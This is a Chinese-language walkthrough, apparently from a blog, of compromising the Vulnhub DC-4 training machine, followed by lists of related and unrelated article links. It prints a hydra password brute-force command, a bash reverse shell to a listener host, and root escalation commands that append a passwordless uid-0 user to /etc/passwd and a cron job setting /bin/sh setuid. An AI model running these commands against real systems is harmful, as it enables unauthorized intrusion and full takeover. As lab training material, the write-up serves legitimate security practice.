用nmap扫描ip和端口,发现只开启了22ssh端口和80http端口

打开网页只有一个登录界面

目录爆破没有发现什么有用的,尝试对登录进行弱口令爆破

一开始使用burpsuite,使用一个小字典进行爆破但是没有爆破出来,尝试用一个大字典来爆破,于是用了kali的usr/share/wordlist的rockyou字典,但是由于字典太大了导不进burpsuite,所以用hydra

hydra -l admin -P /usr/share/wordlists/rockyou.txt 192.168.241.160 http-form-post "/login.php:username=^USER^&password=^PASS^:S=logout" -F

介绍一下参数

-l:LOGIN 指定破解的用户,对特定用户破解
-L:FILE指定用户名字典。
-p:PASS小写,指定密码破解,少用,一般是采用密码字典
-P:FILE大写,指定密码字典。
-F:找到第一对登录名或者密码的时候中止破解
http-form-post:登录的方式
路径为ip下的login.php,用户名为先前设定的admin,密码为先前设定的字典
后面是退出的判断语句,默认是没有:S的,代表黑名单,即返回的报文包含:后面的内容则继续爆破,但是现在是S:,我猜测是变为白名单匹配,即返回的内容不是logout则继续匹配,至于logout我猜测是登录成功后会包含有logout的字眼

得出的密码为happy





登录进去后发现似乎有和命令相关的,打开验证



抓包,发现里面传入了命令,尝试修改命令,发现可以正常执行,存在RCE漏洞



既然可以执行命令,就尝试反弹shell

在nc建立本地监听

nc -lp 2333

目标机器反弹bash

/bin/bash 'bash -i >& /dev/tcp/192.168.1.4/4444 0>&1'

可以看到机器已经上线



尝试打开root,发现打开不了,尝试suid提权



但是没有合适的进程,查看内核



搜索相关漏洞,但是一个都没有搜到

考虑到刚才检测到了靶机开放了22ssh端口,所以应该是可以使用ssh爆破,所以先查看用户



可以看到有三个用户,猜测其中一个应该可以用来ssh登录,到不同用户的目录看一下







可以看到jim有一个叫做old-passwords.bak的文件,这个提示也太明显了

将里面的文件全部复制出来到文件里面,再次使用hydra爆破,密码为jibril04



登陆成功,还提示有个邮件



邮件内容(发现内容透露出了Exim 4.89版本,可以用这个提权)

From charles@dc-4 Sat Apr 06 21:15:46 2019
Return-path: <charles@dc-4>
Envelope-to: jim@dc-4
Delivery-date: Sat, 06 Apr 2019 21:15:46 +1000
Received: from charles by dc-4 with local (Exim 4.89)
(envelope-from <charles@dc-4>)
id 1hCjIX-0000kO-Qt
for jim@dc-4; Sat, 06 Apr 2019 21:15:45 +1000
To: jim@dc-4
Subject: Holidays
MIME-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 8bit
Message-Id: <E1hCjIX-0000kO-Qt@dc-4>
From: Charles <charles@dc-4>
Date: Sat, 06 Apr 2019 21:15:45 +1000
Status: O Hi Jim, I'm heading off on holidays at the end of today, so the boss asked me to give you my password just in case anything goes wrong. Password is: ^xHhA&hvim0y See ya,
Charles

要点

charles@dc-4,密码^xHhA&hvim0y,好家伙,搁着套娃

登陆成功后依旧不是root权限,尝试suid提权失败,输入命令

sudo -l
-l 列出目前用户可执行与无法执行的指令。



发现charles可以不需要密码就运行teehee,查看这个程序的作用



发现他有写入的权限,那么我们有三种方法

  1. 修改/etc/passwd的内容,增加一个新的root用户

  2. 和之前一样增加定时任务写入提权相关的命令,并修改定时任务的权限以root权限执行

  3. 若定时任务内有脚本且可以被修改则可以修改脚本内容为相关命令

  4. 修改/etc/passwd的内容,增加一个新的root用户



    创建一个uid和gid都为0的用户

    echo "wang::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

    然后就可以su wang切换到wang用户,但是不知道为什么要我输入密码

    由于teehee只能写入不能修改,所以没法修改当前用户的权限,只能添加一个新用户

  5. 和之前一样增加定时任务写入提权相关的命令,并修改定时任务的权限以root权限执行

    echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab

    五个*代表着这个定时任务默认没分钟都会执行通过执行的脚本将/bin/sh的权限修改为4777,这样就可以在非root用户下执行它,并且执行期间拥有root权限,然后运行sh





    我尝试echo "* * * * * root chmod 4777 /bin/bash" | sudo teehee -a /etc/crontab,运行bash'后不知道为什么不是管理员权限

  6. 若定时任务内有脚本且可以被修改则可以修改脚本内容为相关命令

    但是由于两个用户的定时任务都没有脚本可以修改,所以此方法无效

Vulnhub -- DC4靶机渗透的更多相关文章

  1. Vulnhub DC-4靶机渗透

    信息搜集 nmap -sP 192.168.146.0/24 #扫网段看看存活的主机,找到靶机 nmap -sS -Pn -A 192.168.146.141 可以看到开放了22和80端口,那么就可以 ...

  2. VulnHub CengBox2靶机渗透

    ​本文首发于微信公众号:VulnHub CengBox2靶机渗透,未经授权,禁止转载. 难度评级:☆☆☆☆官网地址:https://download.vulnhub.com/cengbox/CengB ...

  3. Vulnhub dc-4靶机通关

    Vulnhub dc-4靶机通关 下载地址:https://download.vulnhub.com/dc/DC-4.zip 安装好dc-4靶机 使用局域网查看器扫描到ip地址 端口扫描,发现运行了8 ...

  4. Vulnhub DC-1靶机渗透学习

    前言 之前听说过这个叫Vulnhub DC-1的靶机,所以想拿来玩玩学习,结果整个过程都是看着别人的writeup走下来的,学艺不精,不过这个过程也认识到,学会了很多东西. 所以才想写点东西,记录一下 ...

  5. DC-4 靶机渗透测试

    DC-4 渗透测试 冲冲冲,努力学习 .掌握 hydra ,nc反弹shell 记住你要干嘛, 找地方上传shell(大多以后台登录为切入点,再反弹shell),shell提权到root 操作机:ka ...

  6. Vulnhub JIS-CTF-VulnUpload靶机渗透

    配置问题解决 参考我的这篇文章https://www.cnblogs.com/A1oe/p/12571032.html更改网卡配置文件进行解决. 信息搜集 找到靶机 nmap -sP 192.168. ...

  7. Vulnhub webdeveloper靶机渗透

    信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.148 #综合扫描 访问一下发现是wordpress,wp直接上wpscan wpsc ...

  8. Vulnhub DC-8靶机渗透

    信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.146 #Enable OS detection, version detection ...

  9. Vulnhub DC-7靶机渗透

    信息搜集 nmap -sP 192.168.146.0/24 #主机发现 nmap -A 192.168.146.144 #端口扫描 查看robots.txt,看看admin,403,其他没有什么可利 ...

随机推荐

  1. MySQL 查看命令执行时间

    查看执行时间 1 show profiles; 2  show variables like "%pro%";查看profiling 是否是on状态: 3 如果是off,则执行se ...

  2. Java实验项目三——宠物商店

    Program:宠物商店的设计(继承,接口,线性线性表) Description:本题未实现图形用户界面,项目结构描述如下: classes.Pet:定义宠物接口,只要实现该接口的宠物类,都可存储进宠 ...

  3. Dapper的基本使用 [转]

    Dapper是.NET下一个micro的ORM,它和Entity Framework或Nhibnate不同,属于轻量级的,并且是半自动的.也就是说实体类都要自己写.它没有复杂的配置文件,一个单文件就可 ...

  4. 「SPOJ 3105」Power Modulo Inverted

    「SPOJ 3105」Power Modulo Inverted 传送门 题目大意: 求关于 \(x\) 的方程 \[a^x \equiv b \;(\mathrm{mod}\; p) \] 的最小自 ...

  5. java课堂考试总结

    9月22日,进行了开学第一堂的java测试,来检验暑假的自学成果.下午的考试中,时间应该是比较充分的,但是我还是有许多功能模块没有完成,功能缺少,在进行测试的时候暴露出了许多漏洞. 总结一下,在暑假的 ...

  6. 框架学习系列 mybatis mapper映射文件之输出映射

    1: mapper映射文件输出映射(输入类型) 2:resultType的使用 3:resultMap的使用 3:总结&下节预告 本文是<凯哥陪你学系列-框架学习之mybatis框架学习 ...

  7. C#/.NET/.NET Core学习视频汇总(持续更新ing)

    前言: 之前有很多小伙伴在我的公众号后台留言问有没有C#/.NET/.NET Core这方面相关的视频推荐,我一般都会推荐他们去B站搜索一下.今天刚好有空收集了网上一些比较好的C#/.NET/.NET ...

  8. python + mysql 实现查询表数据

    实例如下: import pymysqldef select_form(): # 打开数据库连接 db = pymysql.connect("localhost", "r ...

  9. 【贪心+排序】凌乱的yyy / 线段覆盖 luogu-1803

    题目描述 现在各大oj上有n个比赛,每个比赛的开始.结束的时间点是知道的. yyy认为,参加越多的比赛,noip就能考的越好(假的) 所以,他想知道他最多能参加几个比赛. 由于yyy是蒟蒻,如果要参加 ...

  10. 如何移除本地文件夹与Git的连接

    1.在需要移除的文件夹下打开Git Bash 2.在命令行中输入如下语句 find . -name ".git" | xargs rm -Rf